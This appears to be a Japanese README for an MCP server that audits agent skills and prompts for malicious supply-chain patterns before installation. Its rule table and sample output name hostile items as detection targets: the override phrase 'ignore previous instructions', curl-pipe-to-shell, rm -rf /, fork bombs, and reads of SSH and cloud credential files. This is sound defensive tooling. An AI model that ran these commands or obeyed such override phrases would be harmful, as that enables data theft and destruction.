mcp-skill-sec

mcp-skill-sec

あらゆるエージェントスキル、システムプロンプト、ダウンロードしたファイルコレクションを、悪意あるスキルのサプライチェーンに見られる8つのパターンに照らして監査する、Model Context Protocol（MCP）サーバーです。

決定論的に動作し、LLM やネットワーク呼び出しは不要です。Claude Code、Cursor、Copilot、OpenClaw、Codex CLI、およびあらゆる MCP 互換エージェントで使える、セルフホスト可能なインストール前スキャナーです。

スキャン対象（ルール R1～R8）

ルール	パターン
R1	プロンプトインジェクション／指示の乗っ取り（ignore previous instructions、秘密保持の指示、ID の上書き）
R2	データ流出の意図（内容の URL への送信・投稿・メール送信、ログの窃取）
R3	ハードコードされたシークレット／認証情報（API キー、PAT、秘密鍵、接続文字列）
R4	危険なコマンド（rm -rf /、curl | sh、フォークボム、デバイスへの直接書き込み）
R5	難読化／隠された動作（base64 での実行、eval/exec、ゼロ幅文字）
R6	信頼できない外部からの取得（取得して実行、PyPI 以外からのインストール）
R7	認証情報へのアクセス（~/.ssh、.aws/credentials、.env の読み取り）
R8	権限昇格（sudo -s、setuid、sudo グループへの追加）

各検出結果には、severity（critical/high/medium/low）、行番号、 および一致した証拠の行が含まれます。重大度が critical/high の検出結果がなく、 medium の検出結果がすべて無害な場合にのみ、全体の判定は合格になります。

ツール

• audit_text(text, filename) — 文字列を監査します（貼り付けられたスキルや、自分で作成していないシステムプロンプトなど）。
• audit_skill_file(path) — ディスク上の SKILL.md／AGENTS.md／CLAUDE.md を監査し、証拠に行番号を付けます。
• audit_directory(path, pattern) — ダウンロードしたスキルコレクション全体を監査し、ファイルごとの判定と概要を返します。
• rule_list() — ルールカタログを出力します。

インストールと実行

1つのコマンドで実行（推奨）— リポジトリからインストールするため、PyPI トークンは不要です：

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
# then register with your agent:
mcp-skill-sec                       # run stdio server
mcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

または pipx を使います：pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

ソースから直接実行（代替手段）：

pip install mcp
python3 mcp_server.py               # run stdio
mcp install mcp_server.py --name skill-sec   # register with Claude Desktop

Claude Desktop／エージェントの設定

{
  "mcpServers": {
    "skill-sec": {
      "command": "mcp-skill-sec",
      "args": []
    }
  }
}

使用例

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

ファミリー製品

これは、sudo-ai-git が提供する、決定論的で LLM を使わないエージェント信頼性向け MCP サーバー3製品の1つです。

• mcp-skill-sec — スキルのインストール前セキュリティ監査（このリポジトリ）
• mcp-verify-claim — エビデンスに基づき、確度を正直に段階分けした主張の報告
• mcp-benchmark-hygiene — pytest の設定漏えい／評価の公正性に関する検出

姉妹製品： mcp-token-saver — エージェントとの会話向けトークンコストのプロキシ＋アナライザー（請求前に重複トークンを除去し、実運用で74％の削減を実証済み）。ディスカッション

同じファミリーの製品（MCP サーバーではなく無料の CLI）：harness-audit — 同じ設定漏えいによる不正な採点を検出する、決定論的なエージェント評価／ベンチマーク採点の健全性監査ツールです。無料のリード獲得用ツールであり、同じ検証規律を採用し、依存関係はゼロで、1行ずつ監査できます。

ライセンスと由来

MIT。sudo-ai-git が作成しました。これは単独で使えるセキュリティ／検証ツールであり、独自の手法は含まれていません。エージェントスキル skill-sec を MCP 向けにしたもので、ルールは同じですが、スキルではなくサーバーとして呼び出せます。

MCP 公式レジストリのメタデータ

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

カスタム統合の依頼

社内システム（認証、ログ記録、セキュリティスキャンの合格判定、ホスティングなど）との接続が必要ですか？カスタム構築を依頼してください。MIT ライセンスのリファレンスアセットは、いずれの場合も無料でご利用いただけます。